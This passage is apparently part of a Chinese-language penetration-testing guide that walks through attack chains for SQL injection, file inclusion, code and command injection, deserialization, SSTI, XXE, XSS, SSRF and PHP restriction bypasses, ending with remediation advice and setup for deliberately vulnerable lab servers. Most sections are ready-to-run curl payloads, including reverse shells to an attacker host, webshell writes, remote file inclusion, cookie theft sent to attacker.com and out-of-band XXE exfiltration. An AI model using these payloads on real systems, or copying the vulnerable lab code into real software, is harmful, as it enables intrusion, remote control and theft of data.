curl "http://example.com/sqltestServlet?id=1 UNION SELECT table_name, column_name, 3 FROM information_schema.columns WHERE table_schema=database()"

# 3. 获取敏感数据 - 用户名密码
curl "http://example.com/sqltestServlet?id=1 UNION SELECT username, password, 3 FROM users"

# 4. 绕过认证 - 直接登录管理员
curl "http://example.com/loginServlet?username=admin' --+&password=任意值"
```

### 1.3 JavaScript/Node.js SQL注入详细攻击链

**代码层面攻击链**：
1. **输入接收**：`const userID = req.query.user_id;` 直接接收用户输入
2. **SQL拼接**：`db.query('SELECT * FROM users WHERE id = ' + userID, ...)` 未过滤直接拼接
3. **SQL执行**：执行恶意SQL语句
4. **结果返回**：`res.json(results);` 返回敏感数据

**具体攻击步骤**：
1. 构造基础注入Payload：`user_id=1 OR 1=1`
2. 执行联合查询获取数据库结构
3. 获取敏感数据
4. 执行堆叠注入（如果支持）

**完整POC**：
```bash
# 1. 基础注入 - 获取所有用户
curl "http://example.com/user?user_id=1 OR 1=1"

# 2. 联合查询 - 获取数据库信息
curl "http://example.com/user?user_id=1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database()"

# 3. 写入Webshell
curl "http://example.com/user?user_id=1 INTO OUTFILE '/var/www/html/shell.js' FIELDS TERMINATED BY 'const http = require(\"http\"); http.createServer((req, res) => { exec(req.url.split(\"?cmd=\")[1], (err, stdout) => { res.end(stdout); }); }).listen(3000);'"
```

## 2. 文件包含漏洞

### 2.1 PHP文件包含详细攻击链

**代码层面攻击链**：
1. **输入接收**：`$file = $_GET['file'];` 直接接收用户输入
2. **文件包含**：`include($file);` 或 `require($file);` 未过滤直接包含
3. **代码执行**：执行包含文件中的恶意代码

**具体攻击步骤**：
1. 本地文件包含（LFI）：`file=../../etc/passwd`
2. 远程文件包含（RFI）：`file=http://attacker.com/shell.txt`（需开启allow_url_include）
3. PHP包装器利用：`file=php://filter/read=convert.base64-encode/resource=index.php`
4. 会话文件包含：`file=/tmp/sess_$sessionid`（结合PHPSESSID注入）

**完整POC**：
```bash
# 1. 本地文件包含 - 读取系统文件
curl "http://example.com/include.php?file=../../etc/passwd"

# 2. 远程文件包含 - 执行远程代码
curl "http://example.com/include.php?file=http://attacker.com/shell.txt"

# 3. PHP包装器 - 读取源码
curl "http://example.com/include.php?file=php://filter/read=convert.base64-encode/resource=config.php"

# 4. 会话文件包含攻击链
# 步骤1: 注入恶意代码到会话
curl "http://example.com/login.php?user=<?php system('ls -la'); ?>"
# 步骤2: 获取PHPSESSID
# 步骤3: 包含会话文件
curl "http://example.com/include.php?file=/tmp/sess_<PHPSESSID>"

# 5. 利用/proc/self/environ
curl "http://example.com/include.php?file=/proc/self/environ&cmd=system('ls -la');"
```

## 3. 远程代码执行（RCE）

### 3.1 PHP RCE详细攻击链

**代码层面攻击链**：
1. **输入接收**：`$code = $_GET['code'];` 直接接收用户输入
2. **代码执行**：`eval($code);` 或 `assert($code);` 执行恶意代码
3. **系统命令执行**：`system()`, `exec()`, `shell_exec()` 等函数执行系统命令

**具体攻击步骤**：
1. 使用eval()执行代码：`code=phpinfo();`
2. 执行系统命令：`code=system('ls -la');`
3. 写入Webshell：`code=file_put_contents('shell.php', '<?php system($_GET[cmd]); ?>');`
4. 权限提升：`code=system('id');`

**完整POC**：
```bash
# 1. 基础代码执行 - 查看PHP信息
curl "http://example.com/rce.php?code=phpinfo();"

# 2. 执行系统命令 - 列出文件
curl "http://example.com/rce.php?code=system('ls -la');"

# 3. 写入Webshell
curl "http://example.com/rce.php?code=file_put_contents('shell.php', '<?php system($_GET[cmd]); ?>');"

# 4. 访问Webshell
curl "http://example.com/shell.php?cmd=whoami"

# 5. 使用call_user_func执行命令
curl "http://example.com/rce.php?func=system&param=ls -la"

# 6. 使用array_map执行命令
curl "http://example.com/rce.php?func=system&param=id"
```

### 3.2 Java RCE详细攻击链

**代码层面攻击链**：
1. **输入接收**：`String cmd = request.getParameter("cmd");` 直接接收用户输入
2. **命令拼接**：`String[] cmdArray = {"cmd", "/C", "ping " + cmd};` 未过滤直接拼接
3. **进程执行**：`Runtime.getRuntime().exec(cmdArray);` 执行恶意命令
4. **结果返回**：读取并返回命令执行结果

**具体攻击步骤**：
1. 构造命令注入Payload：`cmd=127.0.0.1&dir`
2. 执行系统命令：`cmd=127.0.0.1&whoami`
3. 读取敏感文件：`cmd=127.0.0.1&type C:\Windows\win.ini`
4. 权限提升：`cmd=127.0.0.1&net localgroup administrators`

**完整POC**：
```bash
# 1. 基础命令注入 - 执行dir命令
curl "http://example.com/execServlet?ip=127.0.0.1%26dir"

# 2. 执行whoami命令
curl "http://example.com/execServlet?ip=127.0.0.1%26whoami"

# 3. 读取敏感文件
curl "http://example.com/execServlet?ip=127.0.0.1%26type%20C:\\Windows\\win.ini"

# 4. 权限提升检测
curl "http://example.com/execServlet?ip=127.0.0.1%26net%20localgroup%20administrators"

# 5. 反弹Shell
# 步骤1: 在攻击者服务器启动监听
# nc -lvp 4444
# 步骤2: 执行反弹Shell命令
curl "http://example.com/execServlet?ip=127.0.0.1%26bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/attacker_ip/4444%200%3E%261%27"
```

## 4. URL重定向漏洞

### 4.1 PHP URL重定向详细攻击链

**代码层面攻击链**：
1. **输入接收**：`$url = $_GET['url'];` 直接接收用户输入
2. **重定向执行**：`header("Location: $url");` 未验证直接重定向
3. **用户跳转**：浏览器跳转到恶意网站

**具体攻击步骤**：
1. 构造基础重定向Payload：`url=http://attacker.com`
2. 构造钓鱼链接：`url=http://attacker.com/login.php?return_url=http://example.com`
3. 绕过URL验证（如果有）：`url=//attacker.com` 或 `url=/\/attacker.com`
4. 结合XSS：`url=javascript:alert('XSS')`

**完整POC**：
```bash
# 1. 基础重定向 - 跳转到恶意网站
curl -I "http://example.com/redirect.php?url=http://attacker.com"

# 2. 构造钓鱼链接 - 伪装成合法登录
curl -I "http://example.com/redirect.php?url=http://attacker.com/login.php?return_url=http://example.com"

# 3. 绕过URL验证 - 使用//前缀
curl -I "http://example.com/redirect.php?url=//attacker.com"

# 4. 绕过URL验证 - 使用/\/前缀
curl -I "http://example.com/redirect.php?url=/\\/attacker.com"

# 5. JavaScript伪协议 - 执行XSS
curl "http://example.com/redirect.php?url=javascript:alert('XSS')"

# 6. 构造完整钓鱼链接
# http://example.com/redirect.php?url=http://attacker.com/phishing.php?site=example.com&token=12345
```

## 5. Python代码注入

### 5.1 Python代码注入详细攻击链

**代码层面攻击链**：
1. **输入接收**：`code = request.args.get('code');` 直接接收用户输入
2. **代码执行**：`eval(code)` 或 `exec(code)` 执行恶意代码
3. **系统命令执行**：`os.system()`, `subprocess.Popen()` 等执行系统命令

**具体攻击步骤**：
1. 使用eval()执行代码：`code=1+1`
2. 执行系统命令：`code=__import__('os').system('ls -la')`
3. 写入Webshell：`code=open('shell.py', 'w').write('import os; os.system(input())')`
4. 权限提升：`code=__import__('os').system('id')`

**完整POC**：
```bash
# 1. 基础代码执行 - 计算表达式
curl "http://example.com/inject.py?code=1+1"

# 2. 执行系统命令 - 列出文件
curl "http://example.com/inject.py?code=__import__('os').system('ls -la')"

# 3. 执行系统命令 - 查看当前用户
curl "http://example.com/inject.py?code=__import__('os').popen('whoami').read()"

# 4. 写入Webshell
curl "http://example.com/inject.py?code=open('shell.py', 'w').write('import os; os.system(input())')"

# 5. 执行复杂命令 - 反弹Shell
curl "http://example.com/inject.py?code=__import__('os').system('bash -c \'bash -i >& /dev/tcp/attacker_ip/4444 0>&1\'')"

# 6. 使用subprocess执行命令
curl "http://example.com/inject.py?code=__import__('subprocess').Popen('ls -la', shell=True, stdout=__import__('subprocess').PIPE).stdout.read()"
```

## 6. Python反序列化漏洞

### 6.1 Python反序列化详细攻击链

**代码层面攻击链**：
1. **输入接收**：`data = request.get_data();` 接收序列化数据
2. **反序列化执行**：`pickle.loads(data)` 或 `yaml.load(data)` 执行反序列化
3. **恶意代码执行**：`__reduce__` 方法或其他魔术方法执行恶意代码

**具体攻击步骤**：
1. 构造pickle恶意数据：使用`__reduce__`方法
2. 构造PyYAML恶意数据：使用`!!python/object/apply`
3. 发送恶意数据：通过POST请求发送
4. 执行系统命令：反序列化过程中执行系统命令

**完整POC**：
```python
# 1. pickle反序列化攻击
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('ls -la',))

exploit = Exploit()
payload = pickle.dumps(exploit)

# 发送Payload
import requests
response = requests.post('http://example.com/deserialize.py', data=payload)
print(response.text)

# 2. PyYAML反序列化攻击
import yaml

# 构造恶意YAML数据
yaml_payload = "!!python/object/apply:os.system ['ls -la']"

# 发送Payload
response = requests.post('http://example.com/deserialize.py', data=yaml_payload)
print(response.text)

# 3. 反弹Shell攻击
class ReverseShell:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'"
        return (os.system, (cmd,))

payload = pickle.dumps(ReverseShell())
response = requests.post('http://example.com/deserialize.py', data=payload)
```

## 7. Python SSTI漏洞

### 7.1 Python SSTI详细攻击链

**代码层面攻击链**：
1. **输入接收**：`name = request.args.get('name');` 接收用户输入
2. **模板拼接**：`template = f"Hello, {name}!";` 直接拼接模板
3. **模板渲染**：`render_template_string(template)` 渲染恶意模板
4. **代码执行**：模板引擎执行恶意代码

**具体攻击步骤**：
1. 构造基础SSTI Payload：`name={{7*7}}`
2. 执行系统命令：`name={{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}`
3. 读取敏感文件：`name={{__import__('os').popen('cat /etc/passwd').read()}}`
4. 写入Webshell：`name={{__import__('os').popen('echo \'import os; os.system(input())\' > shell.py').read()}}`

**完整POC**：
```bash
# 1. 基础SSTI - 执行数学运算
curl "http://example.com/ssti.py?name={{7*7}}"

# 2. 执行系统命令 - 列出文件
curl "http://example.com/ssti.py?name={{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}"

# 3. 执行系统命令 - 查看当前用户
curl "http://example.com/ssti.py?name={{__import__('os').popen('whoami').read()}}"

# 4. 读取敏感文件
curl "http://example.com/ssti.py?name={{__import__('os').popen('cat /etc/passwd').read()}}"

# 5. 写入Webshell
curl "http://example.com/ssti.py?name={{__import__('os').popen('echo \'import os; os.system(input())\' > shell.py').read()}}"

# 6. 反弹Shell
curl "http://example.com/ssti.py?name={{__import__('os').popen('bash -c \'bash -i >& /dev/tcp/attacker_ip/4444 0>&1\'').read()}}"

# 7. 使用不同的模板引擎Payload
# Jinja2
curl "http://example.com/ssti.py?name={{request.application.__globals__.__builtins__.__import__('os').popen('ls -la').read()}}"
# Mako
curl "http://example.com/ssti.py?name=${__import__('os').system('ls -la')}"
# Tornado
curl "http://example.com/ssti.py?name={{handler.settings.get('__import__')('os').system('ls -la')}}"
```

## 8. PHP配置安全漏洞

### 8.1 open_basedir绕过详细攻击链

**代码层面攻击链**：
1. **配置限制**：`ini_set('open_basedir', '/var/www/html');` 设置目录限制
2. **绕过尝试**：使用realpath()、SplFileInfo::getRealPath()等函数
3. **目录爆破**：通过错误信息推断文件是否存在
4. **文件访问**：成功绕过限制访问敏感文件

**具体攻击步骤**：
1. 检测open_basedir限制：尝试访问`/etc/passwd`
2. 使用realpath()爆破：`file=../../../etc/passwd`
3. 使用SplFileInfo::getRealPath()：`new SplFileInfo('/etc/passwd')`
4. 使用glob()函数：`glob('/*')`
5. 使用chdir()和getcwd()：切换目录后获取当前路径

**完整POC**：
```bash
# 1. 检测open_basedir限制
curl "http://example.com/test.php?file=/etc/passwd"

# 2. 使用realpath()爆破目录
curl "http://example.com/test.php?file=../../../etc/passwd"

# 3. 使用PHP包装器
curl "http://example.com/test.php?file=php://filter/read=convert.base64-encode/resource=/etc/passwd"

# 4. 使用glob()函数
curl "http://example.com/test.php?func=glob&param=/*"

# 5. 使用chdir()和getcwd()
curl "http://example.com/test.php?cmd=chdir('../..'); echo getcwd();"

# 6. 使用Symlink
# 步骤1: 创建符号链接
curl "http://example.com/upload.php?file=@symlink.sh"
# 步骤2: 执行符号链接
curl "http://example.com/test.php?file=symlink"

# 7. 使用PHP 5.3.4+ 真实路径缓存绕过
curl "http://example.com/test.php?file=/var/www/html/../etc/passwd"
```

### 8.2 allow_url_fopen和allow_url_include安全漏洞

**代码层面攻击链**：
1. **配置设置**：`allow_url_fopen=On`, `allow_url_include=On` 开启远程文件访问
2. **输入接收**：`$file = $_GET['file'];` 接收用户输入
3. **远程文件包含**：`include($file);` 包含远程恶意文件
4. **代码执行**：执行远程文件中的恶意代码

**具体攻击步骤**：
1. 检测配置：`phpinfo()` 查看allow_url_fopen和allow_url_include状态
2. 远程文件包含：`file=http://attacker.com/shell.txt`
3. 使用data伪协议：`file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtbGEpOyA/Pg==`
4. 使用php://input：POST发送PHP代码
5. 使用ftp://协议：`file=ftp://attacker.com/shell.txt`

**完整POC**：
```bash
# 1. 检测配置状态
curl "http://example.com/phpinfo.php"

# 2. 远程文件包含 - 包含远程shell
curl "http://example.com/include.php?file=http://attacker.com/shell.txt"

# 3. 使用data伪协议 - 执行base64编码的代码
curl "http://example.com/include.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtbGEpOyA/Pg=="

# 4. 使用data伪协议 - 执行URL编码的代码
curl "http://example.com/include.php?file=data://text/plain,%3C%3Fphp%20system('ls%20-la');%20%3F%3E"

# 5. 使用php://input - POST发送代码
curl -X POST "http://example.com/include.php?file=php://input" \
  -d "<?php system('ls -la'); ?>"

# 6. 使用ftp://协议
curl "http://example.com/include.php?file=ftp://attacker.com/shell.txt"

# 7. 构造完整攻击链
# 步骤1: 在攻击者服务器创建shell.txt文件，内容为: <?php system($_GET['cmd']); ?>
# 步骤2: 执行远程包含
curl "http://example.com/include.php?file=http://attacker.com/shell.txt&cmd=ls -la"
```

### 8.3 disable_functions绕过详细攻击链

**代码层面攻击链**：
1. **配置限制**：`disable_functions = system,exec,shell_exec,passthru` 禁用危险函数
2. **绕过尝试**：使用其他未禁用的函数
3. **系统命令执行**：成功绕过限制执行系统命令

**具体攻击步骤**：
1. 检测禁用函数：尝试执行`system('ls')`
2. 使用mail()函数结合bash破壳漏洞：`mail('a@localhost', '', '', '', '-bv')`
3. 使用LD_PRELOAD：上传恶意共享库并设置环境变量
4. 使用PHP扩展：如FFI、Swoole等
5. 使用pcntl_exec()：如果启用了pcntl扩展
6. 使用proc_open()：如果未被禁用

**完整POC**：
```bash
# 1. 检测禁用函数
curl "http://example.com/test.php?cmd=system('ls -la');"

# 2. 使用mail()函数结合bash破壳漏洞
curl "http://example.com/test.php?cmd=putenv('PHP_LOL=() { x; }; ls -la > /tmp/result.txt'); mail('a@localhost', '', '', '', '-bv');"

# 3. 使用LD_PRELOAD
# 步骤1: 上传恶意共享库
curl -X POST "http://example.com/upload.php" \
  -F "file=@evil.so"
# 步骤2: 执行LD_PRELOAD攻击
curl "http://example.com/test.php?cmd=putenv('LD_PRELOAD=/var/www/html/evil.so'); mail('a@localhost', '', '', '');"

# 4. 使用pcntl_exec()
curl "http://example.com/test.php?cmd=pcntl_exec('/bin/sh', array('-c', 'ls -la > /tmp/result.txt'));"

# 5. 使用proc_open()
curl "http://example.com/test.php?cmd=$descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $process = proc_open('ls -la', $descriptorspec, $pipes); echo stream_get_contents($pipes[1]);"

# 6. 使用PHP FFI
curl "http://example.com/test.php?cmd=if(extension_loaded('ffi')) { $ffi = FFI::cdef('int system(const char *command);', 'libc.so.6'); $ffi->system('ls -la'); }"

# 7. 使用Swoole
curl "http://example.com/test.php?cmd=if(extension_loaded('swoole')) { $process = new Swoole\Process(function($worker) { $worker->exec('/bin/sh', array('-c', 'ls -la')); }); $process->start(); }"
```

## 9. Java文件上传漏洞

### 9.1 Java文件上传详细攻击链

**代码层面攻击链**：
1. **文件接收**：`ServletFileUpload.parseRequest(request)` 解析上传文件
2. **文件存储**：`item.write(storeFile)` 未验证直接存储
3. **文件访问**：浏览器访问上传的恶意文件
4. **代码执行**：服务器执行恶意文件中的代码

**具体攻击步骤**：
1. 检测文件上传点：`/uploadServlet`
2. 上传基础JSP WebShell：`shell.jsp`
3. 上传多文件绕过：同时上传合法文件和恶意文件
4. 上传路径遍历：`../shell.jsp`
5. 上传文件名混淆：`shell.jsp;.jpg` 或 `shell.jsp%00.jpg`
6. 上传内容混淆：在图片文件中嵌入JSP代码

**完整POC**：
```bash
# 1. 基础文件上传 - 上传JSP WebShell
curl -X POST "http://example.com/uploadServlet" \
  -F "file=@shell.jsp"

# 2. 上传WebShell内容
# shell.jsp内容：
# <%@ page import="java.io.*" %>
# <% String cmd = request.getParameter("cmd");
# Process p = Runtime.getRuntime().exec(cmd);
# BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
# String line;
# while ((line = br.readLine()) != null) {
#     out.println(line);
# }
# br.close();
# %>

# 3. 访问WebShell执行命令
curl "http://example.com/upload/shell.jsp?cmd=ls -la"

# 4. 上传路径遍历攻击
curl -X POST "http://example.com/uploadServlet" \
  -F "file=@shell.jsp;filename=../shell.jsp"

# 5. 上传文件名混淆
curl -X POST "http://example.com/uploadServlet" \
  -F "file=@shell.jsp;filename=shell.jsp;.jpg"

# 6. 上传内容混淆 - 图片中嵌入JSP代码
# 步骤1: 创建包含JSP代码的图片
# echo '<%@ page import="java.io.*" %><% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > shell.jpg
# 步骤2: 上传图片
curl -X POST "http://example.com/uploadServlet" \
  -F "file=@shell.jpg"
# 步骤3: 访问图片文件（如果服务器解析.jpg为JSP）
curl "http://example.com/upload/shell.jpg?cmd=ls -la"

# 7. 大文件上传DoS
curl -X POST "http://example.com/uploadServlet" \
  -F "file=@large_file.bin"
```

## 10. Java反序列化漏洞

### 10.1 Java反序列化详细攻击链

**代码层面攻击链**：
1. **输入接收**：`request.getInputStream()` 接收序列化数据
2. **反序列化执行**：`ObjectInputStream.readObject()` 执行反序列化
3. **恶意代码执行**：`readObject()`方法中的恶意代码被执行
4. **系统命令执行**：通过反射、动态类加载等执行系统命令

**具体攻击步骤**：
1. 检测反序列化点：发送非序列化数据触发异常
2. 使用ysoserial生成恶意序列化数据：`java -jar ysoserial.jar CommonsCollections9 "ls -la" > payload.bin`
3. 发送恶意数据：POST请求发送payload.bin
4. 执行系统命令：验证命令执行结果
5. 反弹Shell：构造反弹Shell的payload

**完整POC**：
```bash
# 1. 检测反序列化点
curl -X POST "http://example.com/exec2Servlet" \
  -d "test"

# 2. 使用ysoserial生成恶意序列化数据
# 步骤1: 下载ysoserial
# wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-0.0.6-SNAPSHOT-all.jar
# 步骤2: 生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections9 "ls -la" > payload.bin

# 3. 发送恶意数据
curl -X POST "http://example.com/exec2Servlet" \
  --data-binary @payload.bin

# 4. 执行系统命令 - 查看当前用户
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections9 "whoami" > payload.bin
curl -X POST "http://example.com/exec2Servlet" \
  --data-binary @payload.bin

# 5. 反弹Shell
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections9 "bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" > payload.bin
curl -X POST "http://example.com/exec2Servlet" \
  --data-binary @payload.bin

# 6. 使用不同的Gadget
# CommonsBeanutils1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ls -la" > payload.bin
# URLDNS（无回显检测）
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://your-domain.com" > payload.bin
# Jdk7u21
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "ls -la" > payload.bin
```

## 11. Java XXE漏洞

### 11.1 Java XXE详细攻击链

**代码层面攻击链**：
1. **输入接收**：`request.getInputStream()` 接收XML数据
2. **XML解析**：`DocumentBuilder.parse()` 解析XML文档
3. **外部实体处理**：`DocumentBuilderFactory` 未禁用外部实体
4. **文件读取**：解析器读取外部实体指定的文件
5. **数据返回**：将文件内容返回给攻击者

**具体攻击步骤**：
1. 检测XXE点：发送基础XML数据
2. 构造基础XXE Payload：读取`/etc/passwd`
3. 构造带外XXE：使用DNS请求或HTTP请求
4. 构造盲XXE：结合错误消息或时间延迟
5. 构造多文件读取：使用多个外部实体

**完整POC**：
```bash
# 1. 检测XXE点
curl -X POST "http://example.com/xxeServlet" \
  -H "Content-Type: application/xml" \
  -d "<?xml version='1.0'?><test>test</test>"

# 2. 基础XXE - 读取/etc/passwd
curl -X POST "http://example.com/xxeServlet" \
  -H "Content-Type: application/xml" \
  -d "<?xml version='1.0'?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><test>&xxe;</test>"

# 3. 基础XXE - 读取Windows文件
curl -X POST "http://example.com/xxeServlet" \
  -H "Content-Type: application/xml" \
  -d "<?xml version='1.0'?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]><test>&xxe;</test>"

# 4. 带外XXE - DNS请求
curl -X POST "http://example.com/xxeServlet" \
  -H "Content-Type: application/xml" \
  -d "<?xml version='1.0'?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'http://your-domain.com/test'>]><test>&xxe;</test>"

# 5. 带外XXE - HTTP请求（读取文件并发送）
curl -X POST "http://example.com/xxeServlet" \
  -H "Content-Type: application/xml" \
  -d "<?xml version='1.0'?><!DOCTYPE test [<!ENTITY % file SYSTEM 'file:///etc/passwd'><!ENTITY % dtd SYSTEM 'http://your-domain.com/evil.dtd'>%dtd;]><test>&send;</test>"

# 6. 盲XXE - 结合错误消息
curl -X POST "http://example.com/xxeServlet" \
  -H "Content-Type: application/xml" \
  -d "<?xml version='1.0'?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'file:///nonexistent/file'>]><test>&xxe;</test>"

# 7. 使用不同的协议
# FTP协议
curl -X POST "http://example.com/xxeServlet" \
  -H "Content-Type: application/xml" \
  -d "<?xml version='1.0'?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'ftp://your-domain.com/test'>]><test>&xxe;</test>"
# jar协议
curl -X POST "http://example.com/xxeServlet" \
  -H "Content-Type: application/xml" \
  -d "<?xml version='1.0'?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'jar:file:///path/to/file.jar!/file.txt'>]><test>&xxe;</test>"
```

## 12. Java XSS漏洞

### 12.1 Java XSS详细攻击链

**代码层面攻击链**：
1. **输入接收**：`String name = request.getParameter("name");` 接收用户输入
2. **输出渲染**：`out.println("Hello, " + name);` 未过滤直接输出
3. **浏览器执行**：浏览器执行嵌入的JavaScript代码
4. **会话窃取**：通过document.cookie获取用户会话

**具体攻击步骤**：
1. 检测XSS点：发送`<script>alert('XSS')</script>`
2. 构造存储型XSS：提交恶意评论
3. 构造反射型XSS：URL参数注入
4. 构造DOM型XSS：操纵DOM元素
5. 构造窃取cookie的XSS：`document.location='http://attacker.com/steal.php?cookie='+document.cookie`

**完整POC**：
```bash
# 1. 基础反射型XSS
curl "http://example.com/xssServlet?name=<script>alert('XSS')</script>"

# 2. 存储型XSS
curl -X POST "http://example.com/commentServlet" \
  -d "comment=<script>alert('Stored XSS')</script>"

# 3. DOM型XSS
curl "http://example.com/domxssServlet?param=<script>alert('DOM XSS')</script>"

# 4. 窃取cookie的XSS
curl "http://example.com/xssServlet?name=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"

# 5. 绕过XSS过滤 - 使用事件属性
curl "http://example.com/xssServlet?name=<div onmouseover=alert('XSS')>Hover me</div>"

# 6. 绕过XSS过滤 - 使用大小写混淆
curl "http://example.com/xssServlet?name=<ScRiPt>alert('XSS')</ScRiPt>"

# 7. 绕过XSS过滤 - 使用HTML实体
curl "http://example.com/xssServlet?name=%3Cscript%3Ealert('XSS')%3C/script%3E"

# 8. 执行复杂操作的XSS
curl "http://example.com/xssServlet?name=<script>var xhr=new XMLHttpRequest();xhr.open('POST','http://attacker.com/steal.php',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('cookie='+document.cookie+'&page='+document.URL);</script>"

# 9. 使用SVG的XSS
curl "http://example.com/xssServlet?name=<svg onload=alert('XSS')>"

# 10. 使用iframe的XSS
curl "http://example.com/xssServlet?name=<iframe src=javascript:alert('XSS')>"
```

## 13. Java SSRF漏洞

### 13.1 Java SSRF详细攻击链

**代码层面攻击链**：
1. **输入接收**：`String url = request.getParameter("url");` 接收用户输入
2. **URL连接**：`new URL(url).openConnection()` 建立连接
3. **数据获取**：`conn.getInputStream()` 获取远程资源
4. **结果返回**：将远程资源内容返回给攻击者

**具体攻击步骤**：
1. 检测SSRF点：发送`http://example.com`
2. 构造内部服务访问：`http://localhost:8080`
3. 构造文件读取：`file:///etc/passwd`
4. 构造Redis攻击：`redis://localhost:6379`
5. 构造Memcached攻击：`memcached://localhost:11211`
6. 构造MySQL攻击：`mysql://localhost:3306`

**完整POC**：
```bash
# 1. 检测SSRF点
curl "http://example.com/ssrfServlet?url=http://example.com"

# 2. 访问内部服务
curl "http://example.com/ssrfServlet?url=http://localhost:8080"

# 3. 读取本地文件
curl "http://example.com/ssrfServlet?url=file:///etc/passwd"

# 4. 读取Windows文件
curl "http://example.com/ssrfServlet?url=file:///C:/Windows/win.ini"

# 5. 访问内部Redis服务
curl "http://example.com/ssrfServlet?url=http://localhost:6379"

# 6. 构造Redis攻击
curl "http://example.com/ssrfServlet?url=http://localhost:6379/set/test/123"

# 7. 访问内部数据库
curl "http://example.com/ssrfServlet?url=http://localhost:3306"

# 8. 构造带外SSRF
curl "http://example.com/ssrfServlet?url=http://your-domain.com/test"

# 9. 绕过URL验证 - 使用@符号
curl "http://example.com/ssrfServlet?url=http://example.com@localhost:8080"

# 10. 绕过URL验证 - 使用#符号
curl "http://example.com/ssrfServlet?url=http://localhost:8080#example.com"

# 11. 绕过URL验证 - 使用?符号
curl "http://example.com/ssrfServlet?url=http://localhost:8080?example.com"

# 12. 使用不同的协议
# dict协议
curl "http://example.com/ssrfServlet?url=dict://localhost:22/info"
# gopher协议
curl "http://example.com/ssrfServlet?url=gopher://localhost:6379/_set%20test%20123"
# ldap协议
curl "http://example.com/ssrfServlet?url=ldap://localhost:389/test"
```

## 14. 修复建议汇总

### 14.1 通用修复建议

**输入验证**：
- 对所有用户输入进行严格验证
- 使用白名单而非黑名单
- 对输入进行类型转换和边界检查
- 使用参数化查询处理SQL语句

**输出编码**：
- 对所有输出进行适当的编码
- HTML输出使用HTML实体编码
- URL输出使用URL编码
- JavaScript输出使用JavaScript编码

**安全配置**：
- 禁用危险的PHP配置：`allow_url_include=Off`, `disable_functions=system,exec`等
- 正确配置Java安全设置：禁用外部实体，使用安全的反序列化
- 限制文件上传：验证文件类型，使用随机文件名
- 配置适当的访问控制：最小权限原则

**安全编码实践**：
- 使用安全的函数和API
- 避免使用危险的函数：`eval()`, `assert()`, `system()`等
- 使用预处理语句处理SQL
- 使用安全的序列化格式：JSON替代pickle

**安全架构**：
- 实施分层安全架构
- 使用防火墙和WAF
- 实施网络隔离
- 定期安全审计和渗透测试

### 14.2 语言特定修复建议

**PHP**：
- 使用PDO或mysqli预处理语句
- 启用`open_basedir`限制
- 禁用`allow_url_include`
- 配置`disable_functions`禁用危险函数
- 使用`htmlspecialchars()`处理输出

**Java**：
- 使用PreparedStatement处理SQL
- 禁用XML外部实体：`dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);`
- 使用安全的反序列化：`ValidatingObjectInputStream`
- 对上传文件进行严格验证
- 使用`HttpServletRequest.encodeURL()`处理URL

**Python**：
- 避免使用`eval()`和`exec()`
- 使用`json`替代`pickle`进行序列化
- 使用`yaml.safe_load()`替代`yaml.load()`
- 对模板输入进行严格验证
- 使用`subprocess.run()`替代`subprocess.Popen()`

**JavaScript/Node.js**：
- 使用参数化查询处理SQL
- 使用安全的模板引擎
- 实施内容安全策略（CSP）
- 对输入进行严格验证
- 使用`helmet`等安全中间件

## 15. 漏洞环境搭建指南

### 15.1 本地环境搭建

**SQL注入环境**：
```bash
# 使用Docker快速搭建
docker run -d -p 8080:80 vulnerables/web-dvwa
# 访问 http://localhost:8080，默认账号密码：admin/password
```

**文件包含环境**：
```bash
# 创建测试文件
mkdir -p /var/www/html
cat > /var/www/html/include.php << 'EOF'
<?php
$file = $_GET['file'];
include($file);
?>
EOF
# 启动PHP内置服务器
php -S 0.0.0.0:8000 -t /var/www/html
```

**RCE环境**：
```bash
# 创建测试文件
cat > /var/www/html/rce.php << 'EOF'
<?php
$code = $_GET['code'];
eval($code);
?>
EOF
# 启动PHP内置服务器
php -S 0.0.0.0:8000 -t /var/www/html
```

**XSS环境**：
```bash
# 创建测试文件
cat > /var/www/html/xss.php << 'EOF'
<?php
$name = $_GET['name'];
echo "Hello, $name";
?>
EOF
# 启动PHP内置服务器
php -S 0.0.0.0:8000 -t /var/www/html
```

### 15.2 漏洞验证工具

**SQL注入**：
- SQLmap：`sqlmap -u "http://example.com/user.php?id=1" --dbs`
- NoSQLmap：针对NoSQL注入

**文件包含**：
- Fimap：`fimap -u "http://example.com/include.php?file=index.php"`

**RCE**：
- Commix：`commix -u "http://example.com/rce.php?code=1"`

**XSS**：
- XSStrike：`python xsstrike.py -u "http://example.com/xss.php?name=test"`

**反序列化**：
- ysoserial：`java -jar ysoserial.jar CommonsCollections9 "cmd" > payload.bin`
- PHP反序列化工具：`phpggc`

**XXE**：
- XXEinjector：`python XXEinjector.py --host=http://example.com/xxe --file=/etc/passwd`

**SSRF**：
